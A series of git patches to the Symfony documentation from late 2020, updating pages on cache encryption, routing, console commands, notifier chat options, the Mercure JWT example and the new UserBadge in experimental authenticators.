--- a/cache.rst
+++ b/cache.rst
@@ -720,31 +720,28 @@ Encrypting the Cache
 
 .. versionadded:: 5.1
 
-    :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller` has been
-    introduced in Symfony 5.1.
+    The :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`
+    class was introduced in Symfony 5.1.
 
 To encrypt the cache using ``libsodium``, you can use the
 :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`.
 
-.. note::
-
-    This will encrypt the values of the cache items, but not the cache keys. Be
-    careful not the leak sensitive data in the keys.
-
-Generate a key:
+First, you need to generate a secure key and add it to your :doc:`secret
+store </configuration/secrets>` as ``CACHE_DECRYPTION_KEY``:
 
 .. code-block:: terminal
 
     $ php -r 'echo base64_encode(sodium_crypto_box_keypair());'
 
-And add it to your :doc:`secret store </configuration/secrets>` as
-``CACHE_DECRYPTION_KEY`` and enable the ``SodiumMarshaller``:
+Then, register the ``SodiumMarshaller`` service using this key:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
         # config/packages/cache.yaml
+
+        # ...
         services:
             Symfony\Component\Cache\Marshaller\SodiumMarshaller:
                 decorates: cache.default_marshaller
@@ -766,13 +763,14 @@ And add it to your :doc:`secret store </configuration/secrets>` as
                 http://symfony.com/schema/dic/symfony
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
+            <!-- ... -->
+
             <services>
                 <service id="Symfony\Component\Cache\Marshaller\SodiumMarshaller" decorates="cache.default_marshaller">
-                    <argument>redis://localhost</argument>
                     <argument type="collection">
                         <argument>env(base64:CACHE_DECRYPTION_KEY)</argument>
                         <!-- use multiple keys in order to rotate them -->
-                        <!-- argument>env(base64:OLD_CACHE_DECRYPTION_KEY)</argument -->
+                        <!-- <argument>env(base64:OLD_CACHE_DECRYPTION_KEY)</argument> -->
                     </argument>
                     <argument type="service" id="Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner"/>
                 </service>
@@ -783,17 +781,22 @@ And add it to your :doc:`secret store </configuration/secrets>` as
 
         // config/packages/cache.php
         use Symfony\Component\Cache\Marshaller\SodiumMarshaller;
+        use Symfony\Component\DependencyInjection\ChildDefinition;
+        use Symfony\Component\DependencyInjection\Reference;
 
-        $container->register(SodiumMarshaller::class)
-            ->decorate('cache.default_marshaller')
+        // ...
+        $container->setDefinition(SodiumMarshaller::class, new ChildDefinition('cache.default_marshaller'))
             ->addArgument(['env(base64:CACHE_DECRYPTION_KEY)'])
             // use multiple keys in order to rotate them
-            // ->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
-            ->addArgument(service('@Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner'));
+            //->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
+            ->addArgument(new Reference(SodiumMarshaller::class.'.inner'));
 
-To rotate your encryption keys but still be able to read existing cache entries,
-add the old encryption key to the service arguments. The first key will be used
-for reading and writing, and the additional key(s) will only be used for reading.
+.. caution::
+
+    This will encrypt the values of the cache items, but not the cache keys. Be
+    careful not the leak sensitive data in the keys.
 
-Once all cache items encrypted with the old key have expired, you can remove
-`OLD_CACHE_DECRYPTION_KEY` completely.
+When configuring multiple keys, the first key will be used for reading and
+writing, and the additional key(s) will only be used for reading. Once all
+cache items encrypted with the old key have expired, you can remove
+``OLD_CACHE_DECRYPTION_KEY`` completely.

From e60cd0edd2ebd14a577ab18a9d404835c79dd2d2 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 4 Dec 2020 11:51:53 +0100
Subject: [PATCH 0217/5766] Added config reference for router.default_uri

---
 reference/configuration/framework.rst | 9 +++++++++
 routing.rst                           | 2 ++
 2 files changed, 11 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0780b49b0b9..833329a8d44 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -190,6 +190,7 @@ Configuration
 
 * `router`_
 
+  * `default_uri`_
   * `http_port`_
   * `https_port`_
   * `resource`_
@@ -1145,6 +1146,14 @@ The type of the resource to hint the loaders about the format. This isn't
 needed when you use the default routers with the expected file extensions
 (``.xml``, ``.yaml``, ``.php``).
 
+default_uri
+...........
+
+**type**: ``string``
+
+The default URI used to generate URLs in a non-HTTP context (see
+:ref:`Generating URLs in Commands <router-generate-urls-commands>`).
+
 http_port
 .........
 
diff --git a/routing.rst b/routing.rst
index e8f5bb91b83..ec6de557b5d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2055,6 +2055,8 @@ If you need to generate URLs dynamically or if you are using pure JavaScript
 code, this solution doesn't work. In those cases, consider using the
 `FOSJsRoutingBundle`_.
 
+.. _router-generate-urls-commands:
+
 Generating URLs in Commands
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 2ed719f9b47fdc5e87a3253d19f7a1f853de0c15 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Dec 2020 08:24:35 +0100
Subject: [PATCH 0218/5766] Added the versionadded directive

---
 reference/configuration/framework.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 833329a8d44..0e61184b6be 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1151,6 +1151,10 @@ default_uri
 
 **type**: ``string``
 
+.. versionadded:: 5.1
+
+    The ``default_uri`` option was introduced in Symfony 5.1.
+
 The default URI used to generate URLs in a non-HTTP context (see
 :ref:`Generating URLs in Commands <router-generate-urls-commands>`).
 

From e68926ff9c76c82081de84c515d71e85280e07d2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Dec 2020 08:27:54 +0100
Subject: [PATCH 0219/5766] Reword

---
 event_dispatcher.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 03630c2e5f0..ed6740cc162 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -322,9 +322,9 @@ its name:
 
     $ php bin/console debug:event-dispatcher kernel.exception
 
-For the :doc:`new experimental Security </security/experimental_authenticators>`
-an event dispatcher per firewall was added. You can get the registered listeners
-for a particular event dispatcher by using the ``--dispatcher`` option:
+The :doc:`new experimental Security </security/experimental_authenticators>`
+system adds an event dispatcher per firewall. Use the ``--dispatcher`` option to
+get the registered listeners for a particular event dispatcher:
 
 .. code-block:: terminal
 

From 3f0bf94b2a5a93df1950fa06588777032e4f02c3 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sat, 5 Dec 2020 17:28:42 +0100
Subject: [PATCH 0220/5766] [EventDispatcher] Show partial matching for
 debug:event-dispatcher

---
 event_dispatcher.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index ed6740cc162..038a405b10b 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -322,6 +322,17 @@ its name:
 
     $ php bin/console debug:event-dispatcher kernel.exception
 
+or can get everything which partial matches the event name:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher kernel // matches "kernel.exception", "kernel.response" etc.
+    $ php bin/console debug:event-dispatcher Security // matches "Symfony\Component\Security\Http\Event\CheckPassportEvent"
+
+.. versionadded:: 5.3
+
+    The ability to match partial event names was introduced in Symfony 5.3.
+
 The :doc:`new experimental Security </security/experimental_authenticators>`
 system adds an event dispatcher per firewall. Use the ``--dispatcher`` option to
 get the registered listeners for a particular event dispatcher:

From 955674651cd6d2d5b0a09b56971c579917914cb5 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Mon, 16 Nov 2020 11:22:04 +0100
Subject: [PATCH 0221/5766] Update import.rst

---
 service_container/import.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/service_container/import.rst b/service_container/import.rst
index f38c2a33525..b37c8360388 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -80,7 +80,8 @@ a relative or absolute path to the imported file:
         # config/services.yaml
         imports:
             - { resource: services/mailer.yaml }
-
+            # If you want to import a whole directory:
+            - { resource: services/ }
         services:
             _defaults:
                 autowire: true
@@ -103,6 +104,8 @@ a relative or absolute path to the imported file:
 
             <imports>
                 <import resource="services/mailer.xml"/>
+                <!-- If you want to import a whole directory: -->
+                <import resource="services/"/>
             </imports>
 
             <services>
@@ -122,6 +125,8 @@ a relative or absolute path to the imported file:
 
         return function(ContainerConfigurator $configurator) {
             $configurator->import('services/mailer.php');
+            // If you want to import a whole directory:
+            $configurator->import('services/');
 
             $services = $configurator->services()
                 ->defaults()

From eef382cf8e70e69b481ee04feebe179a2de637e7 Mon Sep 17 00:00:00 2001
From: gary houbre <ghoubre@sqli.com>
Date: Mon, 26 Oct 2020 12:49:33 +0100
Subject: [PATCH 0222/5766] More explication for return into execute command
 function

---
 console.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index ad9bb8c16e6..663fafbfd9a 100644
--- a/console.rst
+++ b/console.rst
@@ -45,9 +45,16 @@ want a command to create a user::
 
         protected function execute(InputInterface $input, OutputInterface $output)
         {
-            // ...
+            // ... put here the code to run in your command
+
+            // this method must return an integer number with the "exit status code"
+            // of the command.
 
+            // return this if there was no problem running the command
             return 0;
+
+            // or return this if some error happened during the execution
+            // return 1;
         }
     }
 

From 7a7cef829e307c27b48ebde8a7c135851a368329 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 7 Dec 2020 11:51:31 +0100
Subject: [PATCH 0223/5766] minor. #14488

---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index 5df984705b6..9611ce94bfd 100644
--- a/console.rst
+++ b/console.rst
@@ -45,7 +45,7 @@ want a command to create a user::
 
         protected function execute(InputInterface $input, OutputInterface $output)
         {
-            // ... put here the code to run in your command
+            // ... put here the code to create the user
 
             // this method must return an integer number with the "exit status code"
             // of the command.

From bd44d05db34f5c9b624cadbbdbd042e34bf23e10 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 7 Dec 2020 12:03:43 +0100
Subject: [PATCH 0224/5766] minor

---
 notifier/chatters.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 40e9cea2096..1183de984d7 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -46,9 +46,9 @@ you to send messages to chat services like Slack or Telegram::
 Adding Interactions to a Slack Message
 --------------------------------------
 
-With a Slack message, you can use the 
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` to add
-some interactive options called `Block elements`_::
+With a Slack message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` class
+to add some interactive options called `Block elements`_::
 
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;

From f62f89a054c59166adf51375501b120691b04bf7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 7 Dec 2020 12:04:43 +0100
Subject: [PATCH 0225/5766] minor

---
 notifier/chatters.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 50f3e5bc20f..4a10ad109d2 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -104,8 +104,8 @@ Adding Interactions to a Discord Message
 ----------------------------------------
 
 With a Discord message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` to add
-some interactive options called `Embed elements`_::
+:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` class
+to add some interactive options called `Embed elements`_::
 
     use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
     use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordEmbed;

From 25c651959497529779d3d2ec7ca0dae8744dd2c1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 7 Dec 2020 12:10:03 +0100
Subject: [PATCH 0226/5766] Use constant over int. refs #14648

---
 console/lockable_trait.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 7745874a764..9c77073d087 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -38,8 +38,8 @@ that adds two convenient methods to lock and release commands::
             // if not released explicitly, Symfony releases the lock
             // automatically when the execution of the command ends
             $this->release();
-            
-            return 0;
+
+            return Command:SUCCESS;
         }
     }
 

From 33a699015263a9dac48c9ca77eb08bb426e0f9a8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 7 Dec 2020 12:11:08 +0100
Subject: [PATCH 0227/5766] remove whitespaces

---
 console/lockable_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 74c4c2a5870..36cd393907c 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -38,7 +38,7 @@ that adds two convenient methods to lock and release commands::
             // if not released explicitly, Symfony releases the lock
             // automatically when the execution of the command ends
             $this->release();
-            
+
             return 0;
         }
     }

From 4239d4eb515786acdc698f302bc36339007a0ef5 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 7 Dec 2020 15:08:01 +0100
Subject: [PATCH 0228/5766] minor

---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index 25dd6b76924..18f39f1edd4 100644
--- a/console.rst
+++ b/console.rst
@@ -45,7 +45,7 @@ want a command to create a user::
 
         protected function execute(InputInterface $input, OutputInterface $output)
         {
-            // ... put here the code to to create the user
+            // ... put here the code to create the user
 
             // this method must return an integer number with the "exit status code"
             // of the command. You can also use these constants to make code more readable

From 46d1f1ae56fbb04df4ff050e6efa9673fb5165de Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Renan=20Gon=C3=A7alves?= <renan.saddam@gmail.com>
Date: Mon, 7 Dec 2020 15:34:33 +0100
Subject: [PATCH 0229/5766] Support Redis Sentinel mode when using
 phpredis/phpredis extension

See https://github.com/symfony/symfony/pull/39363
---
 components/cache/adapters/redis_adapter.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 64bf7ab9e4c..7846cde5200 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -95,8 +95,8 @@ Below are common examples of valid DSNs showing a combination of available value
     );
 
 `Redis Sentinel`_, which provides high availability for Redis, is also supported
-when using the Predis library. Use the ``redis_sentinel`` parameter to set the
-name of your service group::
+when using the PHP Redis Extension v5.2+ or the Predis library. Use the ``redis_sentinel``
+parameter to set the name of your service group::
 
     RedisAdapter::createConnection(
         'redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'

From fb8dea5501e50386f7ed9d7e9d83750055a75540 Mon Sep 17 00:00:00 2001
From: Florent <73140597+flovrent@users.noreply.github.com>
Date: Mon, 7 Dec 2020 16:52:47 +0100
Subject: [PATCH 0230/5766] Update mercure.rst

---
 mercure.rst | 15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 8c0f52f8039..9222ddc68c5 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -408,7 +408,7 @@ And here is the controller::
     // src/Controller/DiscoverController.php
     namespace App\Controller;
 
-    use Lcobucci\JWT\Builder;
+    use Lcobucci\JWT\Configuration;
     use Lcobucci\JWT\Signer\Hmac\Sha256;
     use Lcobucci\JWT\Signer\Key;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
@@ -423,11 +423,14 @@ And here is the controller::
         {
             $hubUrl = $this->getParameter('mercure.default_hub');
             $this->addLink($request, new Link('mercure', $hubUrl));
-
-            $token = (new Builder())
-                // set other appropriate JWT claims, such as an expiration date
-                ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
-                ->getToken(new Sha256(), new Key($this->getParameter('mercure_secret_key'))); // don't forget to set this parameter! Test value: !ChangeMe!
+            
+            $key = Key\InMemory::plainText('mercure_secret_key'); // don't forget to set this parameter! Test value: !ChangeMe!
+            $configuration = Configuration::forSymmetricSigner(new Sha256(), $key);
+            
+            $token = $configuration->builder()
+                                    ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
+                                    ->getToken($configuration->signer(), $configuration->signingKey())
+                                    ->toString();
 
             $response = $this->json(['@id' => '/demo/books/1', 'availability' => 'https://schema.org/InStock']);
             $cookie = Cookie::create('mercureAuthorization')

From 8c21f36cb139d30907404fa831fe1cd8e499fccf Mon Sep 17 00:00:00 2001
From: Julien Falque <julien.falque@gmail.com>
Date: Wed, 29 Jul 2020 18:35:18 +0200
Subject: [PATCH 0231/5766] Document routing inline requirements and defaults
 for host

---
 routing.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/routing.rst b/routing.rst
index d879feac6e3..39cb575ed8d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -790,6 +790,11 @@ concise, but it can decrease route readability when requirements are complex:
             // ...
         };
 
+.. versionadded:: 5.2
+
+    Since Symfony 5.2, inline parameter requirements are also supported in the
+    host. Before Symfony 5.2, they were supported in the path only.
+
 Optional Parameters
 ~~~~~~~~~~~~~~~~~~~
 
@@ -984,6 +989,11 @@ parameter:
     To give a ``null`` default value to any parameter, add nothing after the
     ``?`` character (e.g. ``/blog/{page?}``).
 
+.. versionadded:: 5.2
+
+    Since Symfony 5.2, inline parameter default values are also supported in
+    the host. Before Symfony 5.2, they were supported in the path only.
+
 Priority Parameter
 ~~~~~~~~~~~~~~~~~~
 

From 9408dd85c1f546095a539ab4188d4cb8cd441485 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Tue, 8 Dec 2020 10:49:50 +0100
Subject: [PATCH 0232/5766] Improve README

---
 README.markdown | 27 ++++++++++++++++++++-------
 1 file changed, 20 insertions(+), 7 deletions(-)

diff --git a/README.markdown b/README.markdown
index b993cd45ed4..f65392efba3 100644
--- a/README.markdown
+++ b/README.markdown
@@ -1,7 +1,20 @@
-Symfony Documentation
-=====================
-
-This documentation is rendered online at https://symfony.com/doc/current/
+<p align="center"><a href="https://symfony.com" target="_blank">
+  <img src="https://symfony.com/logos/symfony_black_02.svg">
+</a></p>
+
+<h3 align="center">
+  The official Symfony Documentation
+</h3>
+
+<p align="center">
+  <a href="https://symfony.com/doc/current/index.html">
+    Online version
+  </a>
+  <span> | </span>
+  <a href="https://symfonycasts.com">
+    Screencasts
+  </a>
+</p>
 
 Contributing
 ------------
@@ -11,8 +24,8 @@ Symfony documentation, please read
 [Contributing to the Documentation](https://symfony.com/doc/current/contributing/documentation/overview.html)
 
 > **Note**
-> All pull requests must be based off of the **4.4** branch,
-> unless you're documenting a feature that was introduced *after* Symfony 4.4
+> All pull requests must be based on the ``4.4`` branch,
+> unless you are documenting a feature that was introduced *after* Symfony 4.4
 > (e.g. in Symfony 5.2), **not** the ``5.x`` or older branches.
 
 SymfonyCloud
@@ -24,7 +37,7 @@ server where Pull Requests are built and can be reviewed by contributors.
 Docker
 ------
 
-You can build the doc locally with these commands:
+You can build the documentation project locally with these commands:
 
 ```bash
 # build the image...

From 5238fff27e1b9740a3c85ef47c41915656e00d2a Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Mon, 7 Dec 2020 16:00:29 +0100
Subject: [PATCH 0233/5766] [PHPUnitBridge] Document the
 "symfony/deprecation-contracts"

---
 components/phpunit_bridge.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index d1888cd4f6e..284dae4d816 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -165,6 +165,9 @@ Deprecation notices can be triggered by using::
 
     @trigger_error('Your deprecation message', E_USER_DEPRECATED);
 
+You can also require the ``symfony/deprecation-contracts`` package that provides
+a global ``trigger_deprecation()`` function for this usage.
+
 Without the `@-silencing operator`_, users would need to opt-out from deprecation
 notices. Silencing by default swaps this behavior and allows users to opt-in
 when they are ready to cope with them (by adding a custom error handler like the

From d232aa9f524045720b2d6d1b114440911a3470c8 Mon Sep 17 00:00:00 2001
From: Peter Bottenberg <peter.bottenberg@isaac.nl>
Date: Fri, 30 Oct 2020 17:55:57 +0100
Subject: [PATCH 0234/5766] [Notifier] Add documentation for telegram options

---
 notifier/chatters.rst | 36 ++++++++++++++++++++++++++++++++++--
 1 file changed, 34 insertions(+), 2 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 9d03f83987c..764f05320a8 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -98,8 +98,6 @@ some interactive options called `Block elements`_::
 
     $chatter->send($chatMessage);
 
-.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
-
 Adding Interactions to a Discord Message
 ----------------------------------------
 
@@ -151,4 +149,38 @@ some interactive options called `Embed elements`_::
 
     $chatter->send($chatMessage);
 
+Adding Interactions to a Telegram Message
+-----------------------------------------
+
+With a Telegram message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` class
+to add `message options`_::
+
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
+    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Create Telegram options
+    $telegramOptions = (new TelegramOptions())
+        ->chatId('@symfonynotifierdev')
+        ->parseMode('MarkdownV2')
+        ->disableWebPagePreview(true)
+        ->disableNotification(true)
+        ->replyMarkup((new InlineKeyboardMarkup())
+            ->inlineKeyboard([
+                (new InlineKeyboardButton('Visit symfony.com'))
+                    ->url('https://symfony.com/'),
+            ])
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($telegramOptions);
+
+    $chatter->send($chatMessage);
+
+.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
 .. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
+.. _`message options`: https://core.telegram.org/bots/api

From 8cf987fceb64f0974e0e289a190f9951b1d2d01c Mon Sep 17 00:00:00 2001
From: Steven DUBOIS <symfony@duboiss.fr>
Date: Mon, 7 Dec 2020 18:09:06 +0100
Subject: [PATCH 0235/5766] Update experimental_authenticators : add UserBadge

---
 security/experimental_authenticators.rst | 36 +++++++++++++-----------
 1 file changed, 20 insertions(+), 16 deletions(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 382469c4566..2870eab1830 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -295,8 +295,8 @@ method that fits most use-cases::
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
     use Symfony\Component\Security\Core\Exception\AuthenticationException;
     use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
-    use Symfony\Component\Security\Core\Exception\UsernameNotFoundException;
     use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
     use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
     use Symfony\Component\Security\Http\Authenticator\Passport\SelfValidatingPassport;
 
@@ -328,14 +328,7 @@ method that fits most use-cases::
                 throw new CustomUserMessageAuthenticationException('No API token provided');
             }
 
-            $user = $this->entityManager->getRepository(User::class)
-                ->findOneBy(['apiToken' => $apiToken])
-            ;
-            if (null === $user) {
-                throw new UsernameNotFoundException();
-            }
-
-            return new SelfValidatingPassport($user);
+            return new SelfValidatingPassport(new UserBadge($apiToken));
         }
 
         public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response
@@ -472,12 +465,23 @@ are supported by default:
             $apiToken
         ));
 
-.. note::
 
-    If you don't need any credentials to be checked (e.g. a JWT token), you
-    can use the
-    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
-    This class only requires a user and optionally `Passport Badges`_.
+Self Validating Passport
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+If you don't need any credentials to be checked (e.g. a JWT token), you can use the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
+This class only requires a ``UserBadge`` object and optionally `Passport Badges`_.
+
+You can also pass a user loader to the ``UserBadge``. This callable receives the
+``$userIdentifier`` as argument and must return a ``UserInterface`` object
+(otherwise a ``UsernameNotFoundException`` is thrown). If this is not set, 
+the default user provider will be used with ``$userIdentifier`` as username::
+
+    // ...
+    return new SelfValidatingPassport(new UserBadge($email, function ($username) {
+        return $this->userRepository->findOneBy(['email' => $username]);
+    });
+
 
 Passport Badges
 ~~~~~~~~~~~~~~~
@@ -547,7 +551,7 @@ authenticator, you would initialize the passport like this::
     ``createAuthenticatedToken()``)::
 
         // ...
-        use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+        use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
 
         class LoginAuthenticator extends AbstractAuthenticator
         {
@@ -557,7 +561,7 @@ authenticator, you would initialize the passport like this::
             {
                 // ... process the request
 
-                $passport = new SelfValidatingPassport($username, []);
+                $passport = new SelfValidatingPassport(new UserBadge($username), []);
 
                 // set a custom attribute (e.g. scope)
                 $passport->setAttribute('scope', $oauthScope);

From 01cb2b0937d849aeffff344ead36626aaa93d4ea Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 8 Dec 2020 15:20:20 +0100
Subject: [PATCH 0236/5766] [#14672] Updated more docs related to the UserBadge

---
 security/experimental_authenticators.rst | 88 ++++++++++++++++--------
 1 file changed, 61 insertions(+), 27 deletions(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 2870eab1830..35aa1c9c205 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -435,23 +435,61 @@ into a security
 Security Passports
 ~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 5.2
+
+    The ``UserBadge`` was introduced in Symfony 5.2. Prior to 5.2, the user
+    instance was provided directly to the passport.
+
 A passport is an object that contains the user that will be authenticated as
 well as other pieces of information, like whether a password should be checked
 or if "remember me" functionality should be enabled.
 
 The default
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`
-requires a user object and credentials. The following credential classes
-are supported by default:
+requires a user and credentials.
+
+Use the
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\UserBadge`
+to attach the user to the passport. The ``UserBadge`` requires a user
+identifier (e.g. the username or email), which is used to load the user
+using :ref:`the user provider <security-user-providers>`::
+
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+
+    // ...
+    $passport = new Passport(new UserBadge($email), $credentials);
+
+.. note::
 
+    You can optionally pass a user loader as second argument to the
+    ``UserBadge``. This callable receives the ``$userIdentifier``
+    and must return a ``UserInterface`` object (otherwise a
+    ``UsernameNotFoundException`` is thrown)::
+
+        // ...
+        $passport = new Passport(
+            new UserBadge($email, function ($userIdentifier) {
+                return $this->userRepository->findOneBy(['email' => $userIdentifier]);
+            }),
+            $credentials
+        );
+
+The following credential classes are supported by default:
 
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\PasswordCredentials`
     This requires a plaintext ``$password``, which is validated using the
-    :ref:`password encoder configured for the user <security-encoding-user-password>`.
+    :ref:`password encoder configured for the user <security-encoding-user-password>`::
+
+        use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\PasswordCredentials;
+
+        // ...
+        return new Passport($user, new PasswordCredentials($plaintextPassword));
 
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\CustomCredentials`
     Allows a custom closure to check credentials::
 
+        use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\CustomCredentials;
+
         // ...
         return new Passport($user, new CustomCredentials(
             // If this function returns anything else than `true`, the credentials
@@ -467,21 +505,13 @@ are supported by default:
 
 
 Self Validating Passport
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-If you don't need any credentials to be checked (e.g. a JWT token), you can use the
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
-This class only requires a ``UserBadge`` object and optionally `Passport Badges`_.
-
-You can also pass a user loader to the ``UserBadge``. This callable receives the
-``$userIdentifier`` as argument and must return a ``UserInterface`` object
-(otherwise a ``UsernameNotFoundException`` is thrown). If this is not set, 
